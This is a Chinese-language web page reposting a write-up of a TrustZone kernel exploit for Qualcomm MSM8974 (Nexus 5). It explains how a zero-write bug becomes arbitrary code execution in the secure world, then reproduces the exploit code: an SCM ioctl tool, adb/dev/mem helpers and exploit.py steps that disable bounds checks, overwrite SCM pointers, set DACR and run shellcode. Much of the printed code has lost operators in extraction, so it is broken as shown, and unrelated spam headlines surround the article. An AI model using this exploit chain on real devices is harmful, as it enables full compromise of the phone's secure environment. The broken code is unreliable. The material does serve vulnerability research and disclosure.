当前位置: 首页 > news >正文

网站站点的建立成都芯片设计公司

网站站点的建立,成都芯片设计公司,网站注册怎么做,宁夏小蚁人网站建设原文#xff1a;http://bits-please.blogspot.com/2015/08/full-trustzone-exploit-for-msm8974.html 在这篇博文中#xff0c;我们将介绍利用上一篇文章中描述的 TrustZone 漏洞的完整过程。 在开发此漏洞时#xff0c;我只使用了我值得信赖的#xff08;个人#xff0…原文http://bits-please.blogspot.com/2015/08/full-trustzone-exploit-for-msm8974.html 在这篇博文中我们将介绍利用上一篇文章中描述的 TrustZone 漏洞的完整过程。 在开发此漏洞时我只使用了我值得信赖的个人Nexus 5 设备。这意味着下面写入的所有内存地址和其他特定信息均取自该设备。 如果有人想要重新创建下面描述的确切研究或者出于任何其他原因我当时设备的确切版本是 google/hammerhead/hammerhead:4.4.4/KTU84P/1227136:user/release-keys 漏洞原语 如果您阅读了上一篇文章您已经知道该漏洞允许攻击者将零DWORD写入TrustZone 内核虚拟地址。 为了使用这样的原语创建强大的漏洞利用第一个行动方案是尝试利用这个弱原语变成更强的原语。 制作任意写入原语 由于 TrustZone 内核是在已知的物理地址处加载的这意味着所有地址都是预先已知的。 此外TrustZone 代码段映射有只读访问权限并在安全启动过程中进行验证。这意味着一旦 TrustZone 的代码加载到内存中理论上它就不能也不应该进行任何更改。 我们如何利用零写入原语来实现完整的代码执行 我们可以尝试编辑 TrustZone 内核中的任何可修改数据例如堆、堆栈或全局变量这可能允许我们为更好的原语创建垫脚石。 正如我们在上一篇博客文章中提到的通常当调用 SCM 命令时任何指向内存的参数都会由 TrustZone 内核进行验证。进行验证是为了确保物理地址在“允许的”范围内而不是在 TrustZone 内核的已用内存范围内。 这些验证听起来像是我们需要研究的主要候选者因为如果我们能够禁用它们的操作我们就能够利用其他 SCM 调用来创建不同类型的原语。 TrustZone 内存验证 相关函数被作者重命名为如下tzbsp_validate_memory。 这是该函数的反编译 该函数实际上调用两个内部函数来执行验证我们分别称为is_disallowed_range和is_allowed_range。 is_disallowed_range 禁止范围 正如您所看到的该函数实际上按以下方式使用给定地址的前 12 位 高 7 位用作表的索引包含 128 个值每个值 32 位宽较低的 5 位用作要在先前索引位置处存在的 32 位条目内检查的位索引 换句话说对于与要验证的存储器区域相交的每个1MB块上述表中存在一个位用于表示该数据区域是否是“不允许的”。如果给定区域内的任何块都是不允许的则该函数将返回一个指示该值的值。否则该函数将给定的内存区域视为有效。 从0xFE8304EC存储了一张表该表中记录了内存不被允许访问的范围该表主要通过给定地址的前12位进行检测前12位的高7位用于索引获取表中记录的值32位宽一片32M内存区间不被允许访问的设置-通过bit进行比较前12位的低5位这块32M内存区间第NM内存块是否设置为了不允许访问 is_allowed_range 允许范围 虽然有点长但是这个功能也相当简单。本质上它只是遍历一个包含具有以下结构的条目的静态数组 该函数迭代表中位于给定内存地址的每个条目当当前条目的“end_marker”字段为 0xFFFFFFFF 时停止。 由此类条目指定的每个范围都会经过验证以确保允许该内存范围。 然而正如上面的反编译所证明的设置了“flags”字段第二位的条目将被跳过 攻击验证函数 现在我们了解了验证函数的操作方式让我们看看如何使用零写入原语来禁用它们的操作。 首先如上所述“is_disallowed_range”函数使用 32 位条目表其中每个位对应于 1MB 内存块。设置为 1 的位表示不允许的块设置为 0 的位表示允许的块。 这意味着我们可以通过简单地使用零写入原语将表中的所有条目设置为零来轻松中和此函数。这样做时所有内存块现在都将被标记为允许。 继续下一个功能 “is_allowed_range”。这有点棘手 - 如上所述设置标志字段中第二位的块将根据给定地址进行验证。然而对于未设置该位的每个块不执行验证并且跳过该块。 由于在设备中存在的块表中只有第一个范围与驻留在 TrustZone 内核内存范围内的内存范围相关因此我们只需将该字段清零即可。这样做将导致验证函数跳过它因此验证函数将接受 TrustZone 内核内的内存地址为有效。 制作写原语 现在我们已经摆脱了边界检查函数我们可以自由地提供任何内存地址作为SMC调用的参数并且可以毫无障碍地对其进行操作。 但是我们离创建写原语更近了吗理想情况下如果有一个 SCM 调用我们可以控制写入受控位置的数据块那就足够了。 不幸的是在检查了所有 SCM 调用之后似乎没有与此描述相匹配的候选者。 不过无需担心通过单个 SCM 调用无法实现的功能可以通过将几个调用串在一起来实现。从逻辑上讲我们可以将任意写入原语的创建分为以下步骤 Create在受控位置创建不受控的数据Control控制创建的数据片段使其真正包含所需的内容Copy将创建的数据复制到目标位置 Create 创造 尽管似乎没有一个 SCM 调用是创建受控数据的良好候选者但有一个调用可用于在受控位置创建不受控数据“tzbsp_prng_getdata_syscall”。 顾名思义该函数可用于在给定位置生成随机字节缓冲区。 Android 通常使用它来利用 Snapdragon SoC 中存在的硬件 PRNG。 无论如何SCM 调用都会接收两个参数输出地址和输出长度以字节为单位。 一方面这很棒 - 如果我们在某种程度上信任硬件 RNG我们可以非常确定对于使用此调用生成的每个字节整个字节值范围都可以作为输出。 另一方面这意味着我们无法控制实际生成的数据。 Control 控制 尽管使用 PRNG 时任何输出都是可能的但也许我们可以通过某种方式验证生成的数据实际上是我们希望写入的数据。 为此让我们考虑以下游戏 - 假设您有一台有四个插槽的老虎机每个插槽有 256 个可能的值。每次拉动控制杆时所有插槽都会同时旋转并呈现随机输出。您需要拉动控制杆多少次才能使结果与您事先选择的值完美匹配嗯有 4294967296 (2^32) 个 可能的值因此每次拉动控制杆时结果与您想要的结果相匹配的可能性约为 10^(-10)。听起来你要在这里待一段时间… 但如果你可以作弊呢例如如果每个插槽都有不同的控制杆怎么办这样每次拉动时您只能更改单个插槽的值。这意味着现在每次拉动杠杆时结果与该插槽的所需值相匹配的可能性为 1/256。 听起来游戏现在容易多了对吧但容易多少呢在概率论中单个“游戏”的这种分布称为伯努利分布实际上只是一种奇特的方式表示每个实验都有一组成功概率用 p 表示所有其他结果都标记为所有失败发生的概率为 1-p。 假设我们想要 90% 的成功机会事实证明在游戏的原始版本中我们需要大约 10^8 次尝试但如果我们作弊则每个插槽只需要大约 590 次尝试其数量级要小几个数量级。 那么您是否弄清楚这一切与我们的写入原语有何关系事情是这样的 首先我们需要找到一个 SCM 调用该调用从 TrustZone 内核内存中的可写内存位置向调用者返回一个值。 这样的功能有很多。其中一种候选者是“tzbsp_fver_get_version”调用。 “正常世界”可以使用此函数来检索不同 TrustZone 组件的内部版本号。它通过接收一个整数表示应检索其版本的组件以及应写入版本代码的地址来实现此目的。然后该函数只需遍历包含组件 ID 和版本代码的静态数组对。当找到具有给定 ID 的组件时版本代码将写入输出地址。 现在使用“tzbsp_prng_getdata_syscall”函数我们可以开始操作任何版本代码的值一次一个字节。为了知道我们在每次迭代中生成的字节的值我们可以简单地调用前面提到的SCM同时传入与我们正在修改其版本代码的组件相匹配的组件ID并提供一个指向的返回地址可读即不在 TrustZone 中的内存位置。 我们可以重复前两个步骤直到对生成的字节感到满意为止然后再继续生成下一个字节。这意味着经过几次迭代后我们可以确定特定版本代码的值与我们想要的 DWORD 相匹配。 Copy 复制 最后我们希望将生成的值写入受控位置。幸运的是这一步非常简单。我们需要做的只是调用“tzbsp_fver_get_version”SCM 调用但现在我们可以简单地提供目标地址作为返回地址参数。这将导致该函数将生成的 DWORD 写入受控位置从而完成我们的写入小工具。 现在怎么办 从现在开始事情变得容易一些。首先虽然我们有一个write原语但是使用起来还是相当麻烦。如果我们能够使用前一个小工具创建一个更简单的小工具也许会更容易一些。 我们可以通过创建自己的 SCM 调用来做到这一点这只是一个 write-what-where 小工具。 这听起来可能很棘手但实际上非常简单。 在上一篇博客文章中我们提到所有 SCM 调用都是通过一个大数组间接调用的其中包含指向每个 SCM 调用的指针以及它们提供的参数数量、名称等。 这意味着我们可以使用之前创建的 write gadget 将我们认为“不重要”的某些 SCM 调用的地址更改为 write gadget 已经存在的地址。快速浏览一下 TrustZone 内核的代码就会发现有很多这样的小工具。下面是此类小工具的一个示例 这段代码只是将 R0 中的值写入 R1 中的地址然后返回。 最后能够读取 TrustZone 内核虚拟地址空间内的任何内存位置也可能很方便。这可以通过使用与上述完全相同的方法创建读取小工具来代替另一个“不重要”的 SCM 调用来实现。这个小工具实际上比写入小工具少见得多。然而在 TrustZone 内核中发现了这样一个小工具 该小工具返回从 R0 中的地址读取的值偏移量为 R1。惊人的。 Writing new code 编写新代码 在此阶段我们可以对 TrustZone 内核内存进行完全读写访问。我们尚不具备在 TrustZone 内核中执行任意代码的能力。 当然有人可能会说我们可以在内核中找到不同的小工具并将它们串在一起以创建任何想要的效果。 但如果手动完成这是相当累的我们需要找到很多小工具并且很难自动完成。 有几种可能的方法可以解决这个问题。 一种可能的方法可能是在“正常世界”中编写一段代码并从“安全世界”分支到它。 这听起来是一个很简单的方法但实际上说起来容易做起来难。 正如第一篇博文中提到的当处理器在安全模式下运行时即 SCR安全配置寄存器中的 NS非安全位被关闭时它只能执行标记为“安全”的页面在MMU使用的转换表中即NSbit关闭。 这意味着为了执行驻留在“正常世界”中的代码块我们首先必须修改 TrustZone 内核的转换表以便将我们编写代码片段的地址映射为安全的。 虽然这一切都是可能的但有点令人厌烦。 另一种方法可能是在 TrustZone 内核的代码段中编写新代码或覆盖现有代码。 这还有一个优点是允许我们修改内核中的现有行为这在以后也可以派上用场。 然而乍一看这听起来并不比以前的方法更容易实现。毕竟TrustZone 内核的代码段被映射为只读并且肯定不可写。 然而这只是一个小小的挫折实际上这可以通过使用 ARM MMU 的一个称为“域”的便捷功能来解决而无需修改转换表。 在 ARM 翻译表中每个条目都有一个列出其权限的字段以及一个表示翻译所属“域”的字段。有 16 个域每个翻译都属于其中的一个。 在ARM MMU 中有一个寄存器称为DACR域访问控制寄存器。这个 32 位寄存器有 16 对位每个域一对用于指定对于给定域的转换是否应该生成读访问、写访问、两者或都不生成错误。 每当处理器尝试访问给定内存地址时MMU 首先使用该地址的给定转换的访问权限检查是否可以进行访问。 如果允许访问则不会产生故障。 否则MMU 检查 DACR 中对应于给定域的位是否已设置。如果是则故障被抑制并允许访问。 这意味着简单地将 DACR 的值设置为 0xFFFFFFFF 实际上会导致 MMU 启用对任何映射内存地址的读取和写入访问而不会生成故障更重要的是无需修改转换表。 但是我们如何设置DACR呢显然在 TrustZone 内核初始化期间它还显式地将 DACR 值设置为预定值 (0x55555555)如下所示 然而我们可以简单地分支到初始化函数中的下一个操作码同时在 R0 中提供我们自己的值从而使 DACR 设置为我们的控制值。 现在 DACR 已设置路径就全部清晰了 - 我们可以简单地在 TrustZone 内核中编写或覆盖代码。 为了使事情变得更容易并且破坏性更小最好在 TrustZone 内核未使用的位置编写代码。其中一个候选者是“代码洞”。 代码洞只是未使用的区域通常在分配的内存区域的末尾即不包含代码但仍然被映射且有效。它们通常是由内存映射具有粒度这一事实引起的因此在映射段的末尾经常存在内部碎片。 TrustZone 内核中有几个这样的代码洞这使我们能够在其中编写小段代码并执行它们而麻烦最少。 把它们放在一起 所以这个漏洞有点复杂。以下是我们必须完成的所有阶段的概要 使用零写入原语禁用内存验证功能使用 TrustZone PRNG 在受控位置制作所需的 DWORD通过读取相应的版本代码来验证精心制作的DWORD将精心设计的版本代码写入现有 SCM 调用的函数指针的位置通过这样做创建快速写入小工具使用快速写入小工具创建读取小工具使用快速写入小工具将函数指针写入小工具使我们能够修改 DACR修改DACR以完全启用0xFFFFFFFF将代码写入 TrustZone 内核中的代码洞Execute! The Code 我已经为此漏洞编写了一个漏洞利用程序其中包括 Nexus 5 所需的所有符号带有预先声明的指纹。 首先为了使漏洞能够将所需的精心设计的 SCM 调用发送到 TrustZone 内核我创建了 msm-hammerhead 内核的修补版本它添加了此类功能并将其公开给用户空间 Android。 我选择通过向现有驱动程序 QSEECOM在第一篇博文中提到添加一些新的 IOCTL 来实现此目的该驱动程序是用于与 TrustZone 内核交互的 Qualcomm 驱动程序。这些 IOCTL 使调用者能够向 TrustZone 内核发送包含任意数据的“原始”SCM 调用常规或原子。 您可以在这里找到所需的内核修改。 对于那些使用 Nexus 5 设备的人我个人建议您遵循 Marcin Jabrzyk 的精彩教程 - 这里这是一个完整的教程描述了如何编译和启动自定义内核而不将其刷新到设备。链接失效了搜索 building-and-booting-nexus-5-kernel 使用修改后的内核启动设备后您将需要一个可以使用新添加的 IOCTL 的用户空间应用程序以便将 SCM 发送到内核。 我已经编写了这样一个应用程序您可以在这里获取它。 最后漏洞本身是用 python 编写的。它使用用户空间应用程序通过自定义内核将 SCM 调用直接发送到 TrustZone 内核并允许在内核中执行任何任意代码。 您可以在此处找到完整的漏洞利用代码。 使用漏洞 使用该漏洞非常简单。这是你必须做的 使用修改后的内核启动设备链接失效了搜索 building-and-booting-nexus-5-kernel编译 FuzzZone 二进制文件并将其放置在 /data/local/tmp/ 下在 shellcode.S 文件中写入任何 ARM 代码执行 build_shellcode.sh 脚本以创建 shellcode 二进制文件执行exploit.py以在TrustZone内核中运行您的代码 Affected Devices 受影响的设备 截至披露时该漏洞影响了所有配备 MSM8974 SoC 的设备。 分析漏洞利用代码 https://github.com/laginimaineb/fuzz_zone/ 对qseecom驱动ioctl调用的简单封装 QSEECOM_IOCTL_SEND_RAW_SCMQSEECOM_IOCTL_SEND_ATOMIC_SCM #include fcntl.h #include errno.h #include sys/ioctl.h #include stdio.h #include stdlib.h #include qseecom.hstruct __attribute__((packed)) qseecom_send_raw_scm_req {uint32_t svc_id;uint32_t cmd_id;void *cmd_req_buf; /* in */unsigned int cmd_req_len; /* in */void *resp_buf; /* in/out */unsigned int resp_len; /* in/out */ };struct __attribute__((packed)) qseecom_send_atomic_scm_req {uint32_t svc_id;uint32_t cmd_id;uint32_t num_args;uint32_t arg1;uint32_t arg2;uint32_t arg3;uint32_t arg4; };#define QSEECOM_IOCTL_SEND_RAW_SCM \_IOWR(QSEECOM_IOC_MAGIC, 21, struct qseecom_send_raw_scm_req)#define QSEECOM_IOCTL_SEND_ATOMIC_SCM \_IOWR(QSEECOM_IOC_MAGIC, 24, struct qseecom_send_atomic_scm_req)int main(int argc, char **argv) {//Reading the command-line argumentsif (argc 2) {printf(USAGE: fuzz_zone MODE\n);return -EINVAL;}char* mode argv[1];//Opening the QSEECOM deviceint fd open(/dev/qseecom, O_RDONLY);if (fd 0) {perror(Failed to open /dev/qseecom);return -errno;}printf(FD: %d\n, fd);//Checking if this is an atomic callif (strstr(mode, reg) mode) {//Reading the arguments from the userif (argc 4) {printf(USAGE: %s reg SVC_ID CMD_ID NUM_ARGS HEX ARGS...\n, argv[0]);return -EINVAL;}struct qseecom_send_atomic_scm_req req;req.svc_id atoi(argv[2]);req.cmd_id atoi(argv[3]);req.num_args atoi(argv[4]);if (req.num_args 4) {printf(Illegal number of arguments supplied: %d\n, req.num_args);return -EINVAL;}if (req.num_args 0)req.arg1 (unsigned)strtoll(argv[5], NULL, 16);if (req.num_args 1)req.arg2 (unsigned)strtoll(argv[6], NULL, 16);if (req.num_args 2)req.arg3 (unsigned)strtoll(argv[7], NULL, 16);if (req.num_args 3)req.arg4 (unsigned)strtoll(argv[8], NULL, 16);int res ioctl(fd, QSEECOM_IOCTL_SEND_ATOMIC_SCM, req);printf(IOCTL RES: %u\n, (unsigned)res);if (res 0) {perror(Failed to send ioctl);}} //Checking if this is a raw callelse if (strstr(mode, raw) mode) {if (argc ! 6) {printf(USAGE: %s raw SVC_ID CMD_ID REQ_BUF RESP_LEN\n, argv[0]);return -EINVAL;}uint32_t svc_id atoi(argv[2]);uint32_t cmd_id atoi(argv[3]);char* hex_cmd_buf argv[4];uint32_t resp_len atoi(argv[5]);//Converting the hex string to a binary stringunsigned cmd_req_len strlen(hex_cmd_buf)/2;char* bin_cmd_req malloc(cmd_req_len);for (int i0; icmd_req_len; i)sscanf(hex_cmd_bufi*2,%2hhx, bin_cmd_reqi);//Sending the requeststruct qseecom_send_raw_scm_req raw_req;raw_req.svc_id svc_id;raw_req.cmd_id cmd_id;raw_req.cmd_req_len cmd_req_len;raw_req.cmd_req_buf bin_cmd_req;raw_req.resp_buf malloc(resp_len);memset(raw_req.resp_buf, B, resp_len); //Visible garbage to see the actual changeraw_req.resp_len resp_len;int res ioctl(fd, QSEECOM_IOCTL_SEND_RAW_SCM, raw_req);if (res 0) {perror(Failed to send raw SCM ioctl);return -errno;}printf(IOCTL RES: %d\n, res);//Printing the response bufferprintf(Response Buffer:\n);uint32_t i;for (i0; iraw_req.resp_len; i)printf(%02X, ((unsigned char*)raw_req.resp_buf)[i]);printf(\n);}else {printf(Unknown mode %s!\n, mode);return -EINVAL;} }https://github.com/laginimaineb/MSM8974_exploit adb.py 通过adb调用fuzz_zone中封装好的驱动ioctl调用 import subprocess, os, re from consts import *def execute_privileged_command(command_str):Executes the given privileged command on the deviceproc subprocess.Popen([adb, shell, su, -c, \%s\ % command_str], stdoutsubprocess.PIPE)proc.wait()return proc.stdout.read()def pull_file(remote_path, local_path):Pulls the remote path from the device to the local pathproc subprocess.Popen([adb, pull, remote_path, local_path], stdoutsubprocess.PIPE)proc.wait()def dev_mem_read_memory(address, length):Reads memory from the device using /dev/memoutput execute_privileged_command(dd if/dev/mem of%s bs1 count%d skip%d hd %s %(REMOTE_TEMP_DUMP_PATH, length, address, REMOTE_TEMP_DUMP_PATH))return .join(re.findall(^[0-9a-f]{8}: (.*?) s, output, re.MULTILINE)).replace( ,).decode(hex)scm.py 再对adb.py驱动ioctl调用进行一层封装 consts.py 常量、字符串定义 shellcode.S 空文件读者可自由编写 symbols.py trustzone内核的gadget exploit.py 核心exp 绕过tzbsp_validate_memory检测 #Disabling bounds checks, if neccessary print [] Disabling bounds checks disable_bounds_checks()#The DWORD that needs to be nullified in order to pass all bounds checks BOUNDS_CHECK_DWORD_ADDRESS 0xFE828444 BOUNDS_CHECKS_RANGE_START 0xFE8304EC BOUNDS_CHECKS_RANGE_END 0xFE8306E8def disable_bounds_checks():Disables the checks performed by each of the bounds checking methods.zero_dword(BOUNDS_CHECK_DWORD_ADDRESS)for addr in range(BOUNDS_CHECKS_RANGE_START, BOUNDS_CHECKS_RANGE_END1, 4):zero_dword(addr)通过Create/Control/Copy制作写入原语-目的-制作更简单的写入原语 将tzbsp_get_diag调用替换为一个write gadget #Writing the address of the write gadget to the location of the write gadgetprint [] Overwriting the tzbsp_get_diag pointer address with a write gadgetwrite_dword_slow(TZBSP_GET_DIAG_POINTER_ADDRESS, STR_R0_R1_BX_LR)def write_dword_slow(address, dword):Writes the given DWORD to the given physical address, including TrustZone addresses#First of all, we need to start fuzzing the value using the PRNG call into the dump zone#The dump zone used is the pointer returned from the fver_get_version call, with version code 0.#Once we manage to fuzz the DWORD successfully, we can use the fver_get_version call to write that#DWORD to arbitrary memory#NOTE: For this method to work, the bounds checks must be disabled! dword_bytes struct.pack(I, dword)for i in range(0, 4):wanted_byte dword_bytes[i]current_dword fver_get_version(0)print current_dword.encode(hex)print Wanted %02X at idx %d, current value: %08X % (ord(wanted_byte), i, struct.unpack(I, current_dword)[0])while current_dword[i] ! wanted_byte:write_random_value(VERSION_CODE_0_DWORD_ADDRESSi, 1)current_dword fver_get_version(0)print Wanted %02X at idx %d, current value: %02X % (ord(wanted_byte), i, ord(current_dword[i]))print Got a byte!print Prepared values! Writing to given addressexecute_register_scm(SCM_SVC_INFO, TZ_INFO_GET_FEATURE_VERSION_ID, (0, address, 4)) Restoring the bounds check DWORD #Restoring the bounds check DWORDprint [] Restoring bounds check DWORDwrite_dword_fast(BOUNDS_CHECK_DWORD_ADDRESS, 0x2)print [] Restored! (It is now safe to turn on the screen)利用write gadget修改tzbsp_security_allows_memdump为set dacr gadget #Setting the DACR to enable all domain permissionsprint [] Enabling all domain permissionswrite_dword_fast(TZBSP_SECURITY_ALLOWS_MEMDUMP_POINTER_ADDRESS, SET_DACR)set_dacr(0xFFFFFFFF)利用write gadget修改tzbsp_security_allows_memdump为read gadget #Writing the read gadget using the write gadgetprint [] Overwriting the tzbsp_security_allows_memdump pointer with a read gadgetwrite_dword_fast(TZBSP_SECURITY_ALLOWS_MEMDUMP_POINTER_ADDRESS, LDR_R1_R1_STR_R1_R0_BX_LR)print [] Gained full R/W to all memory (including TrustZone kernel code!)将shellcode写入TrustZone 内核 #Writing some code to a code caveshellcode open(SHELLCODE_PATH, rb).read()if len(shellcode) CODE_CAVE_SIZE:print [-] Not enough space to write shellcode to code cave (%d/%d) % (len(shellcode), CODE_CAVE_SIZE)returnprint [] Writing shellcode to code cave (cave size: %d, shellcode size: %d) % (CODE_CAVE_SIZE, len(shellcode))write_range(shellcode, CODE_CAVE_ADDRESS)print read_range(CODE_CAVE_ADDRESS, CODE_CAVE_ADDRESSlen(shellcode)).encode(hex)#Overwriting a pointer to point to the newly written codeprint [] Overwriting tzbsp_security_allows_memdump pointer with shellcode addressprint Code address: %08X % (CODE_CAVE_ADDRESS IS_SHELLCODE_THUMB)write_dword_fast(TZBSP_SECURITY_ALLOWS_MEMDUMP_POINTER_ADDRESS, CODE_CAVE_ADDRESS IS_SHELLCODE_THUMB) #Adding one for thumb, if neccessaryprint [] Executing shellcodeexecute_register_scm(SCM_SVC_UTIL, TZ_UTIL_SEC_ALLOWS_MEMDUMP, (0,0))print [] Done!print dev_mem_read_memory(0xF000, 4).encode(hex)
http://www.dnsts.com.cn/news/38973.html

相关文章:

  • 源码网站排行好看英文网站
  • 如何做班级网站网站改版方案ppt
  • 谷歌网站推广销售我的世界做墙纸网站
  • 郑州做网站找绝唯科技房产信息网510
  • 益阳网站开发公司各大网站做推广广告
  • 成县建设局网站企业信用信息公示系统年报怎么填
  • 安徽省住房城乡建设厅网站选择适合的配色方案和风格
  • 手机网站费用网站开发环境搭建
  • 阿坝州网站制作电商平台项目运营策划方案
  • 网站建设需要做的事情西安西部数码备案网站
  • 手机怎么做网站添加背景音乐住建城乡建设网站
  • 手机网站发展软件设计要求
  • 专业建设网站的公司wordpress文章右边自定义字段
  • 网站服务器在哪租电脑在哪里制作网站
  • intitle:网站建设如何把自己做的网站放到微信上
  • 千助网站建设关于网站建设的方案ppt
  • 如何在网站上添加qqapp首页界面设计
  • 专业网站设计学校网络推广工作描述
  • 做苗木生意上什么网站做网站公司费用
  • 高品质的网站开发公司网站策划与维护
  • 外贸网站商城建设网站建设分为那几个模块
  • wamp做的网站外网怎么访问不了杭州网络营销公司
  • 网站效果图模板软件专业做学校网站论文怎么选题
  • 石家庄网站建设时光旅游网站开发实验报告
  • 卖汽车配件怎么做网站wordpress 附件上传插件下载失败
  • 网站站点建设的端口成立一家公司的基本流程
  • 虚拟主机空间发布网站网站建实例
  • 哪些网站可以做网店网页翻译器在线翻译
  • c#做的网站怎么上传图片网站开发流程有哪些
  • 做图素材网站wordpress tdk